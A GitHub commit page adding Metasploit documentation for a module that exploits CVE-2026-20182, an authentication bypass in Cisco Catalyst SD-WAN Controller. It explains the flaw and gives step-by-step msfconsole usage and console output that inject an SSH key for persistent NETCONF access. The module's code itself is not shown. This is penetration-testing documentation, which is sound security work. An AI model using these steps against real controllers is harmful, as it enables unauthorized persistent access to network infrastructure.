Skip to content

Commit 72e60b6

Browse files
jheysel-r7jheysel-r7
authored
Merge pull request rapid7#21463 from jburgess-r7/add-cisco-sdwan-vhub-auth-bypass
Add Cisco Catalyst SD-WAN Controller vHub authentication bypass module (CVE-2026-20182)
2 parents c5e737a + 074b032 commit 72e60b6

2 files changed

Lines changed: 919 additions & 0 deletions

File tree

‎documentation/modules/auxiliary/admin/networking/cisco_sdwan_vhub_auth_bypass.md‎

Lines changed: 161 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,161 @@
1+
## Vulnerable Application
2+
3+
This module exploits CVE-2026-20182, an authentication bypass vulnerability in the Cisco
4+
Catalyst SD-WAN Controller. The vulnerability exists in the `vdaemon` DTLS
5+
control-plane service running on UDP port 12346.
6+
7+
The `vbond_proc_challenge_ack()` function implements device-type-specific verification
8+
through a series of conditional blocks, but contains no code path for device type 2
9+
(vHub). After a DTLS handshake using any self-signed certificate, an attacker sends a
10+
`CHALLENGE_ACK` (msg_type=9) with the vHub device type encoded in the protocol header.
11+
The function falls through all verification checks and unconditionally sets
12+
`peer->authenticated = 1`.
13+
14+
An attacker can:
15+
1. Connect via DTLS 1.2 using a self-signed certificate (the server performs no certificate validation at the handshake stage)
16+
2. Send a `CHALLENGE_ACK` message with device type set to vHub (type 2)
17+
3. Send a `Hello` message to complete the handshake as a trusted peer without any legitimate credentials
18+
19+
Once authenticated, the module leverages a `VMANAGE_TO_PEER` message to inject an SSH
20+
public key into the `/home/vmanage-admin/.ssh/authorized_keys` file, providing persistent
21+
SSH access to the controller's NETCONF service on port 830.
22+
23+
### Affected Versions
24+
25+
The vulnerability affects Cisco Catalyst SD-WAN Controller 20.12.6.1 and earlier.
26+
Consult
27+
[Cisco's security advisory](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa2-v69WY2SW)
28+
for a complete list of affected versions and patches.
29+
30+
## Verification Steps
31+
32+
1. Start `msfconsole`
33+
2. `use auxiliary/admin/networking/cisco_sdwan_vhub_auth_bypass`
34+
3. `set RHOSTS <target_ip>`
35+
4. Optionally, `set DOMAIN_ID <domain_id>` and `set SITE_ID <site_id>` if you know the target's SD-WAN topology
36+
5. `check` to verify the target is vulnerable
37+
6. `run` to exploit the vulnerability and inject an SSH public key
38+
7. Use the generated SSH private key to connect to the NETCONF service: `ssh -i <key_path> vmanage-admin@<target_ip> -p 830`
39+
40+
## Options
41+
42+
### DOMAIN_ID
43+
44+
The SD-WAN domain ID to use in protocol messages. Default: `1`.
45+
46+
This value must match the domain ID configured on the target controller. In most
47+
deployments, the default value of 1 is used. If you receive a `TEAR_DOWN` message after
48+
sending `Hello`, try adjusting this value.
49+
50+
### SITE_ID
51+
52+
The SD-WAN site ID to use in protocol messages. Default: `100`.
53+
54+
This value identifies the site in the SD-WAN topology. The default value should work in
55+
most cases, but if the exploit fails, you may need to adjust this based on knowledge of
56+
the target's SD-WAN configuration.
57+
58+
### SSH_PUBLIC_KEY_FILE
59+
60+
Path to an existing SSH public key file (in OpenSSH format) to inject into the controller.
61+
62+
If not set, the module will automatically generate a new RSA 2048-bit SSH keypair. Using
63+
an existing key can be useful if you want to maintain access using a key you already
64+
control.
65+
66+
## Scenarios
67+
68+
### Cisco Catalyst SD-WAN Controller 20.12.6.1 (Default Configuration)
69+
70+
In this scenario, we target a Cisco Catalyst SD-WAN Controller with default settings. The module
71+
automatically generates an SSH keypair and injects the public key.
72+
73+
```
74+
msf auxiliary(admin/networking/cisco_sdwan_vhub_auth_bypass) > show options
75+
76+
Module options (auxiliary/admin/networking/cisco_sdwan_vhub_auth_bypass):
77+
78+
Name Current Setting Required Description
79+
---- --------------- -------- -----------
80+
DOMAIN_ID 1 yes SD-WAN domain ID
81+
RHOSTS 192.168.80.11 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
82+
RPORT 12346 yes The target port (UDP)
83+
SITE_ID 100 yes SD-WAN site ID
84+
SSH_PUBLIC_KEY_FILE no Path to an existing SSH public key file to inject
85+
86+
87+
View the full module info with the info, or info -d command.
88+
89+
msf auxiliary(admin/networking/cisco_sdwan_vhub_auth_bypass) > check
90+
[+] 192.168.80.11:12346 - The target is vulnerable. Authentication bypass succeeded - vHub CHALLENGE_ACK accepted without verification
91+
msf auxiliary(admin/networking/cisco_sdwan_vhub_auth_bypass) > run
92+
[*] Running module against 192.168.80.11
93+
[*] Phase 1: DTLS handshake with self-signed certificate
94+
[*] DTLS handshake succeeded (self-signed cert accepted)
95+
[*] Phase 2: Waiting for CHALLENGE from server
96+
[*] CHALLENGE received (580 bytes of challenge data)
97+
[*] Phase 3: Sending CHALLENGE_ACK as vHub (authentication bypass)
98+
[*] Phase 4: Waiting for server response to CHALLENGE_ACK
99+
[!] No immediate response (server may be waiting for our Hello)
100+
[*] Phase 5: Sending Hello as authenticated peer
101+
[+] Hello response received - authenticated as vHub peer
102+
[*] Phase 6: Injecting SSH public key into vmanage-admin authorized_keys
103+
[*] Generating RSA 2048-bit SSH keypair
104+
[*] SSH private key saved to loot: /home/user/.msf4/loot/20260422120000_default_192.168.80.11_cisco.sdwan.sshk_123456.pem
105+
[+] Connect to NETCONF via:
106+
ssh -i /home/user/.msf4/loot/20260422120000_default_192.168.80.11_cisco.sdwan.sshk_123456.pem vmanage-admin@192.168.80.11 -p 830
107+
[*] Server responded with: REGISTER_TO_VMANAGE (key has been injected)
108+
[+] Authentication bypass and SSH key injection completed!
109+
[*] Auxiliary module execution completed
110+
msf auxiliary(admin/networking/cisco_sdwan_vhub_auth_bypass) >
111+
112+
```
113+
114+
After the module completes, SSH access to the NETCONF service is available:
115+
116+
```
117+
$ chmod 600 /home/user/.msf4/loot/20260422120000_default_192.168.80.11_cisco.sdwan.sshk_123456.pem
118+
$ ssh -i /home/user/.msf4/loot/20260422120000_default_192.168.80.11_cisco.sdwan.sshk_123456.pem vmanage-admin@192.168.80.11 -p 830
119+
120+
viptela 20.12.6.1
121+
122+
<?xml version="1.0" encoding="UTF-8"?>
123+
<hello xmlns="urn:ietf:params:xml:ns:netconf:base:1.0">
124+
<capabilities>
125+
<capability>urn:ietf:params:netconf:base:1.0</capability>
126+
<capability>urn:ietf:params:netconf:base:1.1</capability>
127+
...
128+
</capabilities>
129+
<session-id>30</session-id></hello>]]>]]>
130+
```
131+
132+
### Cisco Catalyst SD-WAN Controller 20.12.6.1 - Injecting an Existing SSH Public Key
133+
134+
In this scenario, we supply an existing SSH public key so that the injected key matches
135+
a private key we already control.
136+
137+
```
138+
msf auxiliary(admin/networking/cisco_sdwan_vhub_auth_bypass) > set RHOSTS 192.168.80.11
139+
RHOSTS => 192.168.80.11
140+
msf auxiliary(admin/networking/cisco_sdwan_vhub_auth_bypass) > set SSH_PUBLIC_KEY_FILE /home/user/.ssh/id_rsa.pub
141+
SSH_PUBLIC_KEY_FILE => /home/user/.ssh/id_rsa.pub
142+
msf auxiliary(admin/networking/cisco_sdwan_vhub_auth_bypass) > run
143+
[*] Running module against 192.168.80.11
144+
[*] Phase 1: DTLS handshake with self-signed certificate
145+
[*] DTLS handshake succeeded (self-signed cert accepted)
146+
[*] Phase 2: Waiting for CHALLENGE from server
147+
[*] CHALLENGE received (580 bytes of challenge data)
148+
[*] Phase 3: Sending CHALLENGE_ACK as vHub (authentication bypass)
149+
[*] Phase 4: Waiting for server response to CHALLENGE_ACK
150+
[!] No immediate response (server may be waiting for our Hello)
151+
[*] Phase 5: Sending Hello as authenticated peer
152+
[+] Hello response received - authenticated as vHub peer
153+
[*] Phase 6: Injecting SSH public key into vmanage-admin authorized_keys
154+
[*] Using SSH public key from /home/user/.ssh/id_rsa.pub
155+
[+] Use: ssh -i <SSH_PRIVATE_KEY_FILE> vmanage-admin@192.168.80.11 -p 830
156+
[*] Server responded with: REGISTER_TO_VMANAGE (key has been injected)
157+
[+] Authentication bypass and SSH key injection completed!
158+
[*] Auxiliary module execution completed
159+
msf auxiliary(admin/networking/cisco_sdwan_vhub_auth_bypass) >
160+
161+
```

0 commit comments

Comments
 (0)